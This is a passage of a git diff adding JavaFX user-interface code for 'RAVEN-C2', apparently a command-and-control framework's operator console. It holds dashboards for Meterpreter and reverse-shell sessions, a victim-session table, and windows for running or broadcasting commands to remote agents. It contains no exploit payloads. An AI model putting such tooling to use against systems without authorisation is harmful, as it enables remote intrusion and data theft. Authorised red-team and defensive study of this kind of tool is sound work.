Column.setPercentWidth(25); + Column.setHgrow(Priority.ALWAYS); + StatGrid.getColumnConstraints().add(Column); + } + StatGrid.add(ComponentFactory.StatCard("Sessions", "0", Palette.AccentBlue, IconDevices, "+0", true), 0, 0); + StatGrid.add(ComponentFactory.StatCard("Raven Agents", "0", Palette.AccentGreen, IconWifi, "+0", true), 1, 0); + StatGrid.add(ComponentFactory.StatCard("Meterpreter", "0", Palette.AccentTeal, IconCircle, "+0", true), 2, 0); + StatGrid.add(ComponentFactory.StatCard("Reverse Shell", "0", Palette.AccentPink, IconTerminal, "+0", true), 3, 0); + Page.getChildren().add(StatGrid); + + ScrollPane ScrollWrapper = new ScrollPane(); + ScrollWrapper.setFitToWidth(true); + ScrollWrapper.setStyle("-fx-background-color:" + Palette.Background + ";"); + VBox.setVgrow(ScrollWrapper, Priority.ALWAYS); + + VBox InnerContent = new VBox(14); + InnerContent.setPadding(new Insets(0, 16, 16, 16)); + InnerContent.setStyle("-fx-background-color:" + Palette.Background + ";"); + + VBox ActivityCard = ComponentFactory.PanelCard("Recent Activity", IconList, Palette.AccentBlue); + VBox ActivityBody = ComponentFactory.GetPanelBody(ActivityCard); + ActivityBody.setPadding(new Insets(0)); + ActivityBody.getChildren().addAll( + ComponentFactory.ActivityRow(IconCheck, Palette.AccentGreen, "Server initialized and ready", "just now"), + ComponentFactory.ActivityRow(IconShield, Palette.AccentBlue, "Authentication module loaded", "just now"), + ComponentFactory.ActivityRow(IconWarning, Palette.AccentOrange, "Awaiting first session connection", "idle") + ); + + VBox InfoCard = ComponentFactory.PanelCard("Tool Information", IconDns, Palette.AccentTeal); + VBox InfoBody = ComponentFactory.GetPanelBody(InfoCard); + TextArea InfoText = new TextArea( + " Author : MatrixTM26\n Version : 3.0\n\n" + + " Sessions — Execute, Broadcast, Kill, filter\n" + + " Terminal — Interactive agent shell per session\n" + + " Commands — CLI-aligned server/session utilities\n\n" + + " sessions | status | stats | tasks | kill | sysinfo \n" + + " history [id] [limit] | note | getnote \n" + + " broadcast | exec | whoami \n" + + " sleep | screenshot | download | upload" + ); + InfoText.setEditable(false); + InfoText.setPrefHeight(180); + StyleHelper.ApplyTerminal(InfoText); + InfoText.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + InfoBody.setPadding(new Insets(0)); + InfoBody.getChildren().add(InfoText); + + InnerContent.getChildren().addAll(ActivityCard, InfoCard); + ScrollWrapper.setContent(InnerContent); + Page.getChildren().add(ScrollWrapper); + return Page; + } + + public static VBox Sessions(ObservableList SessionRows, + Runnable OnRefresh, + Runnable OnExecute, + Runnable OnBroadcast, + Runnable OnKill, + CommandDispatcher[] DispatcherRef, + TableView[] TableRef, + TextArea[] LogRef, + Consumer OnSelectionChanged) { + VBox Page = new VBox(0); + Page.setStyle("-fx-background-color:" + Palette.Background + ";"); + + HBox Toolbar = new HBox(8); + Toolbar.getStyleClass().add("toolbar-bar"); + Toolbar.setAlignment(Pos.CENTER_LEFT); + + TextField SearchField = new TextField(); + SearchField.setPromptText("Filter sessions..."); + SearchField.getStyleClass().add("search-field"); + SearchField.setPrefWidth(230); + + Toolbar.getChildren().addAll( + SearchField, + ComponentFactory.FlexSpacer(true), + ComponentFactory.ActionButton(IconRefresh + " Refresh", "btn", "btn-default"), + ComponentFactory.ActionButton(IconPlay + " Execute", "btn", "btn-accent"), + ComponentFactory.ActionButton(IconBroadcast + " Broadcast", "btn", "btn-default"), + ComponentFactory.ActionButton(IconDelete + " Kill", "btn", "btn-danger") + ); + + Button RefreshButton = (Button) Toolbar.getChildren().get(2); + Button ExecuteButton = (Button) Toolbar.getChildren().get(3); + Button BroadcastButton = (Button) Toolbar.getChildren().get(4); + Button KillButton = (Button) Toolbar.getChildren().get(5); + RefreshButton.setOnAction(e -> OnRefresh.run()); + ExecuteButton.setOnAction(e -> OnExecute.run()); + BroadcastButton.setOnAction(e -> OnBroadcast.run()); + KillButton.setOnAction(e -> OnKill.run()); + Page.getChildren().add(Toolbar); + + HBox CommandBar = new HBox(8); + CommandBar.getStyleClass().add("cmd-bar"); + CommandBar.setAlignment(Pos.CENTER_LEFT); + Label CommandPrompt = new Label(">"); + CommandPrompt.getStyleClass().add("cmd-prompt"); + TextField CommandField = new TextField(); + CommandField.setPromptText("sessions | status | kill | exec | sysinfo | broadcast "); + CommandField.getStyleClass().add("input-field"); + HBox.setHgrow(CommandField, Priority.ALWAYS); + Button RunButton = ComponentFactory.ActionButton("Run", "btn", "btn-accent"); + RunButton.setOnAction(e -> { + if (DispatcherRef[0] != null) DispatcherRef[0].Dispatch(CommandField.getText().trim(), CommandField); + }); + CommandField.setOnAction(e -> { + if (DispatcherRef[0] != null) DispatcherRef[0].Dispatch(CommandField.getText().trim(), CommandField); + }); + CommandBar.getChildren().addAll(CommandPrompt, CommandField, RunButton); + Page.getChildren().add(CommandBar); + + SplitPane VerticalSplit = new SplitPane(); + VerticalSplit.setOrientation(Orientation.VERTICAL); + VerticalSplit.setDividerPositions(0.65); + VBox.setVgrow(VerticalSplit, Priority.ALWAYS); + + TableView SessionTable = new TableView<>(); + SessionTable.getStyleClass().add("session-table"); + FilteredList FilteredRows = new FilteredList<>(SessionRows, Row -> true); + SearchField.textProperty().addListener((Observable, Old, NewValue) -> + FilteredRows.setPredicate(Row -> + NewValue == null || NewValue.isBlank() + || Row.getName().toLowerCase().contains(NewValue.toLowerCase()) + || Row.getIp().contains(NewValue) + || Row.getUser().toLowerCase().contains(NewValue.toLowerCase()) + || Row.getHost().toLowerCase().contains(NewValue.toLowerCase()) + ) + ); + SessionTable.setItems(FilteredRows); + String[] Headers = {"ID", "Type", "Name / Cert", "IP", "OS", "User", "Host", "Session Key"}; + String[] Properties = {"id", "type", "name", "ip", "os", "user", "host", "joined"}; + for (int Index = 0; Index < Headers.length; Index++) { + TableColumn Column = new TableColumn<>(Headers[Index]); + Column.setCellValueFactory(new PropertyValueFactory<>(Properties[Index])); + SessionTable.getColumns().add(Column); + } + SessionTable.getSelectionModel().selectedItemProperty().addListener((Observable, Old, NewRow) -> { + if (NewRow != null) OnSelectionChanged.accept(Integer.parseInt(NewRow.getId())); + }); + SessionTable.setPlaceholder(ComponentFactory.PlaceholderLabel("No active sessions")); + SessionTable.setColumnResizePolicy(TableView.CONSTRAINED_RESIZE_POLICY); + if (TableRef != null && TableRef.length > 0) TableRef[0] = SessionTable; + + VBox LogPanel = new VBox(0); + LogPanel.setStyle("-fx-background-color:" + Palette.TerminalBackground + ";"); + HBox LogHeader = new HBox(8); + LogHeader.setAlignment(Pos.CENTER_LEFT); + LogHeader.setPadding(new Insets(6, 12, 6, 12)); + LogHeader.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + TextArea LogOutputArea = new TextArea(); + LogOutputArea.setEditable(false); + StyleHelper.ApplyTerminal(LogOutputArea); + LogOutputArea.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(LogOutputArea, Priority.ALWAYS); + if (LogRef != null && LogRef.length > 0) LogRef[0] = LogOutputArea; + + LogHeader.getChildren().addAll( + ComponentFactory.MaterialIcon(IconList, Palette.TextTertiary, 12), + ComponentFactory.SmallCapsLabel("Output", Palette.TextTertiary), + ComponentFactory.FlexSpacer(true), + ComponentFactory.IconButton(IconClear, "Clear", e -> LogOutputArea.clear()) + ); + LogPanel.getChildren().addAll(LogHeader, LogOutputArea); + + VerticalSplit.getItems().addAll(SessionTable, LogPanel); + Page.getChildren().add(VerticalSplit); + return Page; + } + + public static VBox Terminal(TextField[] SessionIdRef, + TextArea[] TerminalOutputRef, + TextField[] CommandFieldRef, + Runnable OnSendCommand, + Label[] SelectedLabelRef) { + VBox Page = new VBox(0); + Page.setStyle("-fx-background-color:" + Palette.TerminalBackground + ";"); + + HBox TerminalBar = new HBox(10); + TerminalBar.setAlignment(Pos.CENTER_LEFT); + TerminalBar.setPadding(new Insets(8, 14, 8, 14)); + TerminalBar.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + + TextField SessionIdField = new TextField(); + SessionIdField.setPrefWidth(80); + SessionIdField.getStyleClass().add("input-field"); + SessionIdField.setPromptText("Session ID"); + if (SessionIdRef != null && SessionIdRef.length > 0) SessionIdRef[0] = SessionIdField; + + Region TerminalDivider = StyleHelper.VerticalDivider(); + + Label SelectedLabel = new Label("No session selected"); + SelectedLabel.setStyle("-fx-font-size:11px; -fx-text-fill:" + Palette.TextTertiary + ";"); + HBox.setHgrow(SelectedLabel, Priority.ALWAYS); + if (SelectedLabelRef != null && SelectedLabelRef.length > 0) SelectedLabelRef[0] = SelectedLabel; + + TextArea TerminalOutput = new TextArea(); + TerminalOutput.setEditable(false); + StyleHelper.ApplyTerminal(TerminalOutput); + TerminalOutput.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(TerminalOutput, Priority.ALWAYS); + if (TerminalOutputRef != null && TerminalOutputRef.length > 0) TerminalOutputRef[0] = TerminalOutput; + + TerminalBar.getChildren().addAll( + ComponentFactory.SmallCapsLabel("Session", Palette.TextTertiary), + SessionIdField, + TerminalDivider, + SelectedLabel, + ComponentFactory.IconButton(IconClear, "Clear", e -> TerminalOutput.clear()) + ); + Page.getChildren().addAll(TerminalBar, TerminalOutput); + + HBox InputRow = new HBox(8); + InputRow.getStyleClass().add("input-bar"); + InputRow.setAlignment(Pos.CENTER_LEFT); + Label Prompt = new Label(">"); + Prompt.getStyleClass().add("cmd-prompt"); + TextField CommandField = new TextField(); + CommandField.setPromptText("Enter command..."); + CommandField.getStyleClass().add("input-field"); + HBox.setHgrow(CommandField, Priority.ALWAYS); + if (CommandFieldRef != null && CommandFieldRef.length > 0) CommandFieldRef[0] = CommandField; + Button SendButton = ComponentFactory.ActionButton(IconSend + " Send", "btn", "btn-accent"); + SendButton.setOnAction(e -> OnSendCommand.run()); + CommandField.setOnAction(e -> OnSendCommand.run()); + InputRow.getChildren().addAll(Prompt, CommandField, SendButton); + Page.getChildren().add(InputRow); + return Page; + } + + public static VBox CommandCenter(CommandDispatcher[] DispatcherRef, TextArea[] OutputRef) { + VBox Page = new VBox(0); + Page.setStyle("-fx-background-color:" + Palette.Background + ";"); + + VBox ReferenceBar = new VBox(0); + ReferenceBar.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + HBox RefHeader = new HBox(8); + RefHeader.setAlignment(Pos.CENTER_LEFT); + RefHeader.setPadding(new Insets(7, 14, 7, 14)); + RefHeader.setStyle("-fx-background-color:" + Palette.BackgroundVoid + ";"); + RefHeader.getChildren().addAll( + ComponentFactory.MaterialIcon(IconCode, Palette.TextTertiary, 12), + ComponentFactory.SmallCapsLabel("Command Reference", Palette.TextTertiary) + ); + TextArea ReferenceText = new TextArea( + "sessions | status | stats | tasks\n" + + "kill | exec | sysinfo | whoami \n" + + "broadcast | sleep | screenshot \n" + + "download | upload \n" + + "note | getnote | history [id] [limit]" + ); + ReferenceText.setEditable(false); + ReferenceText.setPrefHeight(90); + StyleHelper.ApplyTerminal(ReferenceText); + ReferenceText.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + ReferenceBar.getChildren().addAll(RefHeader, ReferenceText); + Page.getChildren().add(ReferenceBar); + + HBox CommandBar = new HBox(8); + CommandBar.getStyleClass().add("cmd-bar"); + CommandBar.setAlignment(Pos.CENTER_LEFT); + Label Prompt = new Label(">"); + Prompt.getStyleClass().add("cmd-prompt"); + TextField CommandField = new TextField(); + CommandField.setPromptText("Type command..."); + CommandField.getStyleClass().add("input-field"); + HBox.setHgrow(CommandField, Priority.ALWAYS); + Button ExecuteButton = ComponentFactory.ActionButton(IconPlay + " Execute", "btn", "btn-accent"); + Button ClearButton = ComponentFactory.ActionButton(IconClear + " Clear", "btn", "btn-default"); + + TextArea OutputArea = new TextArea(); + OutputArea.setEditable(false); + StyleHelper.ApplyTerminal(OutputArea); + OutputArea.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(OutputArea, Priority.ALWAYS); + if (OutputRef != null && OutputRef.length > 0) OutputRef[0] = OutputArea; + + ExecuteButton.setOnAction(e -> { + if (DispatcherRef[0] != null) DispatcherRef[0].Dispatch(CommandField.getText().trim(), CommandField); + }); + CommandField.setOnAction(e -> { + if (DispatcherRef[0] != null) DispatcherRef[0].Dispatch(CommandField.getText().trim(), CommandField); + }); + ClearButton.setOnAction(e -> OutputArea.clear()); + CommandBar.getChildren().addAll(Prompt, CommandField, ExecuteButton, ClearButton); + Page.getChildren().addAll(CommandBar, OutputArea); + return Page; + } + + public static VBox Logs(TextArea[] LogOutputRef) { + VBox Page = new VBox(0); + Page.setStyle("-fx-background-color:" + Palette.TerminalBackground + ";"); + + HBox LogToolbar = new HBox(8); + LogToolbar.setAlignment(Pos.CENTER_LEFT); + LogToolbar.setPadding(new Insets(6, 12, 6, 12)); + LogToolbar.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + HBox LogTitleGroup = new HBox(8); + LogTitleGroup.setAlignment(Pos.CENTER_LEFT); + LogTitleGroup.getChildren().addAll( + ComponentFactory.MaterialIcon(IconList, Palette.TextTertiary, 12), + ComponentFactory.SmallCapsLabel("Activity Log", Palette.TextTertiary) + ); + HBox.setHgrow(LogTitleGroup, Priority.ALWAYS); + + TextArea LogOutputArea = new TextArea(); + LogOutputArea.setEditable(false); + StyleHelper.ApplyTerminal(LogOutputArea); + LogOutputArea.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(LogOutputArea, Priority.ALWAYS); + if (LogOutputRef != null && LogOutputRef.length > 0) LogOutputRef[0] = LogOutputArea; + + Button ExportButton = ComponentFactory.ActionButton(IconExport + " Export", "btn", "btn-default"); + Button ClearButton = ComponentFactory.ActionButton(IconClear + " Clear", "btn", "btn-danger"); + ClearButton.setOnAction(e -> LogOutputArea.clear()); + LogToolbar.getChildren().addAll(LogTitleGroup, ExportButton, ClearButton); + Page.getChildren().addAll(LogToolbar, LogOutputArea); + return Page; + } + + public static ScrollPane Settings(ServerConfig Config, + ToggleButton[] ServerToggleRef, + TextField[] HostFieldRef, + TextField[] PortFieldRef, + Label[] ServerStatusLabelRef, + Label[] ServerInfoLabelRef, + Label[] ToggleStatusLabelRef, + Runnable OnServerToggleOn, + Runnable OnServerToggleOff) { + VBox Content = new VBox(16); + Content.setPadding(new Insets(18)); + Content.setStyle("-fx-background-color:" + Palette.Background + ";"); + + VBox ServerToggleCard = new VBox(16); + ServerToggleCard.getStyleClass().add("server-toggle-card"); + + HBox ToggleRow = new HBox(16); + ToggleRow.setAlignment(Pos.CENTER_LEFT); + + VBox ToggleInfo = new VBox(4); + Label ToggleTitle = new Label("Listener"); + ToggleTitle.setStyle("-fx-font-size:14px; -fx-font-weight:bold; -fx-text-fill:" + Palette.TextPrimary + ";"); + Label ToggleStatus = new Label("Server is offline"); + ToggleStatus.setStyle("-fx-font-size:11px; -fx-text-fill:" + Palette.TextTertiary + ";"); + ToggleInfo.getChildren().addAll(ToggleTitle, ToggleStatus); + HBox.setHgrow(ToggleInfo, Priority.ALWAYS); + if (ToggleStatusLabelRef != null && ToggleStatusLabelRef.length > 0) ToggleStatusLabelRef[0] = ToggleStatus; + + ToggleButton ServerToggle = new ToggleButton("OFF"); + ServerToggle.getStyleClass().addAll("btn", "toggle-btn"); + ServerToggle.setOnAction(e -> { + if (ServerToggle.isSelected()) { + ServerToggle.setText("ON"); + OnServerToggleOn.run(); + } else { + ServerToggle.setText("OFF"); + OnServerToggleOff.run(); + } + }); + if (ServerToggleRef != null && ServerToggleRef.length > 0) ServerToggleRef[0] = ServerToggle; + ToggleRow.getChildren().addAll(ToggleInfo, ServerToggle); + ServerToggleCard.getChildren().add(ToggleRow); + ServerToggleCard.getChildren().add(StyleHelper.HorizontalDivider()); + + GridPane ConnectionFields = new GridPane(); + ConnectionFields.setHgap(12); + ConnectionFields.setVgap(10); + ColumnConstraints LabelColumn = new ColumnConstraints(); + LabelColumn.setMinWidth(50); + LabelColumn.setMaxWidth(60); + ColumnConstraints InputColumn = new ColumnConstraints(); + InputColumn.setHgrow(Priority.ALWAYS); + ConnectionFields.getColumnConstraints().addAll(LabelColumn, InputColumn); + + TextField HostField = new TextField(Config.GetServerHost()); + TextField PortField = new TextField(String.valueOf(Config.GetServerPort())); + HostField.getStyleClass().add("input-field"); + PortField.getStyleClass().add("input-field"); + if (HostFieldRef != null && HostFieldRef.length > 0) HostFieldRef[0] = HostField; + if (PortFieldRef != null && PortFieldRef.length > 0) PortFieldRef[0] = PortField; + + ConnectionFields.add(ComponentFactory.MutedLabel("Host"), 0, 0); + ConnectionFields.add(HostField, 1, 0); + ConnectionFields.add(ComponentFactory.MutedLabel("Port"), 0, 1); + ConnectionFields.add(PortField, 1, 1); + ServerToggleCard.getChildren().add(ConnectionFields); + Content.getChildren().add(ServerToggleCard); + + VBox StatusCard = ComponentFactory.PanelCard("Server Status", IconDns, Palette.AccentTeal); + VBox StatusBody = ComponentFactory.GetPanelBody(StatusCard); + + Label ServerStatusLabel = new Label("Offline"); + ServerStatusLabel.setStyle("-fx-text-fill:" + Palette.AccentRed + "; -fx-font-size:12px; -fx-font-weight:bold;"); + Label ServerInfoLabel = new Label("Not running"); + ServerInfoLabel.setStyle("-fx-font-size:11px; -fx-text-fill:" + Palette.TextTertiary + ";"); + if (ServerStatusLabelRef != null && ServerStatusLabelRef.length > 0) ServerStatusLabelRef[0] = ServerStatusLabel; + if (ServerInfoLabelRef != null && ServerInfoLabelRef.length > 0) ServerInfoLabelRef[0] = ServerInfoLabel; + + StatusBody.getChildren().addAll( + ComponentFactory.RowEntry("Status", ServerStatusLabel), + ComponentFactory.RowEntry("Address", ServerInfoLabel), + ComponentFactory.RowEntry("Mode", ComponentFactory.SmallCapsLabel(Config.GetServerMode(), Palette.AccentBlue)) + ); + Content.getChildren().add(StatusCard); + + ScrollPane SettingsScroll = new ScrollPane(Content); + SettingsScroll.setFitToWidth(true); + SettingsScroll.setStyle("-fx-background-color:" + Palette.Background + ";"); + return SettingsScroll; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PopupBuilder.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PopupBuilder.java new file mode 100644 index 0000000..ba00424 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PopupBuilder.java @@ -0,0 +1,229 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.component.ComponentFactory; +import com.raven.interfaces.GUI.module.core.database.AuthService; +import com.raven.interfaces.GUI.module.core.server.ServerController; +import javafx.application.Platform; +import javafx.geometry.Insets; +import javafx.geometry.Pos; +import javafx.scene.Scene; +import javafx.scene.control.*; +import javafx.scene.layout.*; +import javafx.stage.Stage; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Executors; + +public final class PopupBuilder { + + private static final String IconTerminal = "\uEB8E"; + private static final String IconBroadcast = "\uE0C9"; + private static final String IconSend = "\uE163"; + + private PopupBuilder() {} + + public static void ShowExecuteWindow(int SessionId, ServerController ServerControl) { + Stage PopupStage = new Stage(); + PopupStage.setTitle("Execute — SESSION-" + SessionId); + PopupStage.setWidth(740); + PopupStage.setHeight(560); + PopupStage.setMinWidth(540); + PopupStage.setMinHeight(420); + + VBox Layout = new VBox(0); + Layout.setStyle("-fx-background-color:" + Palette.TerminalBackground + ";"); + + HBox Header = new HBox(10); + Header.setAlignment(Pos.CENTER_LEFT); + Header.setPadding(new Insets(8, 14, 8, 14)); + Header.setStyle( + "-fx-background-color:" + Palette.BackgroundVoid + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + Header.getChildren().addAll( + ComponentFactory.IconChip(IconTerminal, Palette.AccentPink, 28, 14), + ComponentFactory.SmallCapsLabel("Session-" + SessionId, Palette.AccentPink), + ComponentFactory.FlexSpacer(true), + ComponentFactory.SmallCapsLabel("Interactive Shell", Palette.TextQuaternary) + ); + + TextArea OutputArea = new TextArea(); + OutputArea.setEditable(false); + StyleHelper.ApplyTerminal(OutputArea); + OutputArea.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(OutputArea, Priority.ALWAYS); + + HBox InputRow = new HBox(8); + InputRow.getStyleClass().add("input-bar"); + InputRow.setAlignment(Pos.CENTER_LEFT); + Label Prompt = new Label(">"); + Prompt.getStyleClass().add("cmd-prompt"); + TextField CommandField = new TextField(); + CommandField.setPromptText("Enter command..."); + CommandField.getStyleClass().add("input-field"); + HBox.setHgrow(CommandField, Priority.ALWAYS); + Button RunButton = ComponentFactory.ActionButton(IconSend + " Run", "btn", "btn-accent"); + + Runnable ExecuteAction = () -> { + String Command = CommandField.getText().trim(); + if (Command.isEmpty()) return; + OutputArea.appendText("> " + Command + "\n"); + CommandField.clear(); + Executors.newSingleThreadExecutor().submit(() -> { + String[] Result = ServerControl.GetServer().ExecuteCommand(SessionId, Command); + Platform.runLater(() -> OutputArea.appendText(Result[1] + "\n\n")); + }); + }; + RunButton.setOnAction(e -> ExecuteAction.run()); + CommandField.setOnAction(e -> ExecuteAction.run()); + InputRow.getChildren().addAll(Prompt, CommandField, RunButton); + Layout.getChildren().addAll(Header, OutputArea, InputRow); + + Scene PopupScene = new Scene(Layout); + PopupStage.setScene(PopupScene); + PopupStage.show(); + CommandField.requestFocus(); + } + + public static void ShowBroadcastWindow(ServerController ServerControl, AuthService Authentication) { + Stage PopupStage = new Stage(); + PopupStage.setTitle("Broadcast Command"); + PopupStage.setWidth(700); + PopupStage.setHeight(560); + PopupStage.setMinWidth(500); + PopupStage.setMinHeight(400); + + VBox Layout = new VBox(0); + Layout.setStyle("-fx-background-color:" + Palette.TerminalBackground + ";"); + + HBox TargetRow = new HBox(10); + TargetRow.setAlignment(Pos.CENTER_LEFT); + TargetRow.setPadding(new Insets(8, 12, 8, 12)); + TargetRow.setStyle( + "-fx-background-color:" + Palette.BackgroundVoid + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + Label TargetHint = ComponentFactory.MutedLabel("1,2,3 or all"); + TextField TargetField = new TextField(); + TargetField.setPromptText("Target sessions..."); + TargetField.getStyleClass().add("input-field"); + HBox.setHgrow(TargetField, Priority.ALWAYS); + TargetRow.getChildren().addAll( + ComponentFactory.IconChip(IconBroadcast, Palette.AccentBlue, 28, 14), + ComponentFactory.SmallCapsLabel("Target", Palette.TextTertiary), + TargetField, + TargetHint + ); + + TextArea OutputArea = new TextArea(); + OutputArea.setEditable(false); + StyleHelper.ApplyTerminal(OutputArea); + OutputArea.setStyle(StyleHelper.TerminalStyle() + "-fx-border-color:transparent;"); + VBox.setVgrow(OutputArea, Priority.ALWAYS); + + HBox CommandRow = new HBox(8); + CommandRow.getStyleClass().add("input-bar"); + CommandRow.setAlignment(Pos.CENTER_LEFT); + Label Prompt = new Label(">"); + Prompt.getStyleClass().add("cmd-prompt"); + TextField CommandField = new TextField(); + CommandField.setPromptText("Enter command to broadcast..."); + CommandField.getStyleClass().add("input-field"); + HBox.setHgrow(CommandField, Priority.ALWAYS); + Button BroadcastButton = ComponentFactory.ActionButton(IconBroadcast + " Broadcast", "btn", "btn-accent"); + + Runnable BroadcastAction = () -> { + String TargetText = TargetField.getText().trim(); + String CommandText = CommandField.getText().trim(); + if (TargetText.isEmpty() || CommandText.isEmpty()) return; + OutputArea.appendText("[broadcast → " + TargetText + "] " + CommandText + "\n"); + CommandField.clear(); + Executors.newSingleThreadExecutor().submit(() -> { + Map Results; + if (TargetText.equalsIgnoreCase("all")) { + Results = ServerControl.GetServer().BroadcastAll(CommandText); + } else { + List IdList = new ArrayList<>(); + for (String Part : TargetText.split(",")) { + try { IdList.add(Integer.parseInt(Part.trim())); } + catch (Exception Ignored) {} + } + Results = ServerControl.GetServer().BroadcastCommand(IdList, CommandText); + } + final Map FinalResults = Results; + Platform.runLater(() -> FinalResults.forEach((Id, Result) -> { + boolean Success = Boolean.parseBoolean(Result[0]); + OutputArea.appendText( + " [#" + Id + "] " + (Success ? "OK" : "ERR") + "\n" + + Result[1] + "\n\n" + ); + Authentication.GetDb().SaveCommandLog(Id, "operator", CommandText, Result[1], Success); + })); + }); + }; + BroadcastButton.setOnAction(e -> BroadcastAction.run()); + CommandField.setOnAction(e -> BroadcastAction.run()); + CommandRow.getChildren().addAll(Prompt, CommandField, BroadcastButton); + Layout.getChildren().addAll(TargetRow, OutputArea, CommandRow); + + PopupStage.setScene(new Scene(Layout)); + PopupStage.show(); + CommandField.requestFocus(); + } + + public static boolean ShowLoginDialog(Stage OwnerStage, AuthService Authentication) { + Dialog LoginDialog = new Dialog<>(); + LoginDialog.setTitle("RAVEN — Authentication"); + LoginDialog.setHeaderText("TeamServer Login"); + LoginDialog.initOwner(OwnerStage); + + GridPane LoginGrid = new GridPane(); + LoginGrid.setHgap(12); + LoginGrid.setVgap(12); + LoginGrid.setPadding(new Insets(18)); + LoginGrid.setStyle("-fx-background-color:" + Palette.Background + ";"); + + TextField UsernameField = new TextField(); + UsernameField.setPromptText("Username"); + UsernameField.getStyleClass().add("input-field"); + PasswordField PasswordInputField = new PasswordField(); + PasswordInputField.setPromptText("Password"); + PasswordInputField.getStyleClass().add("password-field"); + Label ErrorLabel = new Label(""); + ErrorLabel.setStyle("-fx-text-fill:" + Palette.AccentRed + "; -fx-font-size:11px;"); + + Label UsernameLabel = ComponentFactory.MutedLabel("Username"); + Label PasswordLabel = ComponentFactory.MutedLabel("Password"); + UsernameLabel.setMinWidth(70); + PasswordLabel.setMinWidth(70); + + LoginGrid.add(UsernameLabel, 0, 0); + LoginGrid.add(UsernameField, 1, 0); + LoginGrid.add(PasswordLabel, 0, 1); + LoginGrid.add(PasswordInputField, 1, 1); + LoginGrid.add(ErrorLabel, 1, 2); + + ButtonType LoginButtonType = new ButtonType("Login", ButtonBar.ButtonData.OK_DONE); + LoginDialog.getDialogPane().getButtonTypes().addAll(LoginButtonType, ButtonType.CANCEL); + LoginDialog.getDialogPane().setContent(LoginGrid); + LoginDialog.getDialogPane().setStyle("-fx-background-color:" + Palette.Background + ";"); + LoginDialog.setResultConverter(ButtonClicked -> { + if (ButtonClicked == LoginButtonType) + return Authentication.Authenticate(UsernameField.getText().trim(), PasswordInputField.getText()) ? true : null; + return false; + }); + + for (int Attempt = 0; Attempt < 3; Attempt++) { + java.util.Optional Result = LoginDialog.showAndWait(); + if (Result.isEmpty() || Boolean.FALSE.equals(Result.get())) return false; + if (Boolean.TRUE.equals(Result.get())) return true; + ErrorLabel.setText("Invalid credentials — " + (2 - Attempt) + " attempt(s) remaining"); + } + return false; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/SidebarBuilder.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/SidebarBuilder.java new file mode 100644 index 0000000..dd73c08 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/SidebarBuilder.java @@ -0,0 +1,235 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.component.ComponentFactory; +import javafx.animation.Interpolator; +import javafx.animation.KeyFrame; +import javafx.animation.KeyValue; +import javafx.animation.Timeline; +import javafx.geometry.Insets; +import javafx.geometry.Pos; +import javafx.scene.control.Label; +import javafx.scene.layout.*; +import javafx.util.Duration; + +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.function.Consumer; + +public final class SidebarBuilder { + + private static final String IconDns = "\uE875"; + private static final String IconMenu = "\uE5D2"; + private static final String IconDashboard= "\uE871"; + private static final String IconDevices = "\uE32B"; + private static final String IconTerminal = "\uEB8E"; + private static final String IconCode = "\uE86F"; + private static final String IconList = "\uE896"; + private static final String IconSettings = "\uE8B8"; + private static final String IconCircle = "\uEF4A"; + + private SidebarBuilder() {} + + public static VBox Build(Consumer OnNavigate, + Map NavItemMapOut, + Label[] StatusIndicatorOut, + String OperatorName) { + VBox Sidebar = new VBox(0); + Sidebar.setPrefWidth(228); + Sidebar.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent " + Palette.BorderSubtle + " transparent transparent;" + + "-fx-border-width:0 1 0 0;" + ); + + HBox BrandRow = new HBox(10); + BrandRow.setAlignment(Pos.CENTER_LEFT); + BrandRow.setPadding(new Insets(0, 14, 0, 14)); + BrandRow.setMinHeight(60); + BrandRow.setStyle( + "-fx-background-color:" + Palette.BackgroundVoid + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + + StackPane LogoChip = ComponentFactory.IconChip(IconDns, Palette.AccentBlue, 32, 16); + + VBox BrandText = new VBox(2); + Label BrandName = new Label("RAVEN"); + BrandName.setStyle( + "-fx-text-fill:" + Palette.TextPrimary + ";" + + "-fx-font-size:14px; 